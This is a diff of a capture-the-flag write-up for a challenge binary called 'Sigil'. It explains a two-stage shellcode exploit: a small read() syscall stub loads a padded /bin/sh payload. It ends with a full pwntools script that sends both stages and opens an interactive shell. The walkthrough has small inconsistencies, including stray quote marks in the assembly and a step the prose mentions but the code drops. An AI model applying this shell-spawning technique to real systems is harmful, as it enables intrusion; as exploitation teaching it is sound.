|
| 1 | +# Sigil |
| 2 | + |
| 3 | +The main funciton of sigil is below: |
| 4 | + |
| 5 | + |
| 6 | +The following occurs: |
| 7 | +* memory region located at address 0 is set to `read-write-execute` permissions |
| 8 | +* read() of length 16 |
| 9 | +* call to the buffer just read |
| 10 | + |
| 11 | +The gameplan for this exploit is to send an initial payload which will call `read()` into the `RWX` memory region. From here, we send the actual `/bin/sh` payload and `call 0` to execute it. |
| 12 | + |
| 13 | +We can call read via a syscall to make this shellcode small. The following must be setup for this to work: |
| 14 | +* rax - 0 |
| 15 | +* rdi - file descriptor to read from, i.e. stdin |
| 16 | +* rsi - destination buffer |
| 17 | +* rdx - 0x30 : Arbitrary length to read |
| 18 | + |
| 19 | +The `rax` register is already set to `0` for our `read` syscall, so no modification needs to happen there. The `rdi` register needs to be a `0` in order to read from stdin, so a simple `xor rdi, rdi` will accomplish this for us. The destination buffer is already stored in the rdx register when our shellcode is run, which means we only need to execute a `mov rsi, rdx` in order to setup our destination buffer location. Lastly, we need to set a read length, and a simple `mov rdx, 0x30` will work. |
| 20 | + |
| 21 | +The final stage one shellcode is below: |
| 22 | +``` |
| 23 | +mov rsi, rdx' # rdx already contains our buffer location |
| 24 | +mov edx, 0x30' # set our read length |
| 25 | +add rsi, 10' # adjust our buffer a bit further down, so we don't overwrite our initial shellcode |
| 26 | +syscall # Execute read |
| 27 | +``` |
| 28 | + |
| 29 | +From here, we send a second shellcode containing our generic `/bin/sh` shellcode in order to receive our shell. |
| 30 | + |
| 31 | +The full exploit is below: |
| 32 | + |
| 33 | +```python |
| 34 | +from pwn import * # pip install pwntools |
| 35 | +context(arch='amd64') |
| 36 | + |
| 37 | +HOST = '127.0.0.1' |
| 38 | +PORT = 4444 |
| 39 | + |
| 40 | +# r = process('./sigil') |
| 41 | +r = remote(HOST, PORT) |
| 42 | + |
| 43 | +# Debug helper |
| 44 | +""" |
| 45 | +gdb.attach(r, ''' |
| 46 | +bp 40062a |
| 47 | +c |
| 48 | +''') |
| 49 | +""" |
| 50 | + |
| 51 | +""" |
| 52 | +read() syscall |
| 53 | +rax - 0 |
| 54 | +rdi - file descriptor to read from - 0 => stdin |
| 55 | +rsi - destination buffer |
| 56 | +rdx - length to read |
| 57 | +""" |
| 58 | + |
| 59 | +""" |
| 60 | +rax is already 0 for syscall read |
| 61 | +rdi is already 0 |
| 62 | +'xor rdi, rdi', # Read from stdin (file descriptor 0) |
| 63 | +""" |
| 64 | +shellcode = asm('\n'.join([ |
| 65 | +'mov rsi, rdx', # rdx already contains our buffer location |
| 66 | +'mov edx, 0x30', |
| 67 | +'add rsi, 10', |
| 68 | +'syscall' |
| 69 | +])) |
| 70 | + |
| 71 | +# Ensure we send a full 16 byte Stage 1 payload. |
| 72 | +shellcode = shellcode.rjust(16, '\x90') |
| 73 | +log.info("Shellcode:[{}] {}".format(len(shellcode), shellcode)) |
| 74 | + |
| 75 | +# Create second payload - simple /bin/sh payload |
| 76 | +# Add a beginning nop sled, because why not? |
| 77 | +log.info("Stage2: {}".format(shellcraft.sh())) |
| 78 | +sc = asm(shellcraft.sh()) |
| 79 | +sc = sc.rjust(0x30, '\x90') |
| 80 | +log.info("Stage2: {}".format(sc)) |
| 81 | + |
| 82 | +r.sendline(shellcode + sc) |
| 83 | + |
| 84 | +r.interactive() |
| 85 | + |
0 commit comments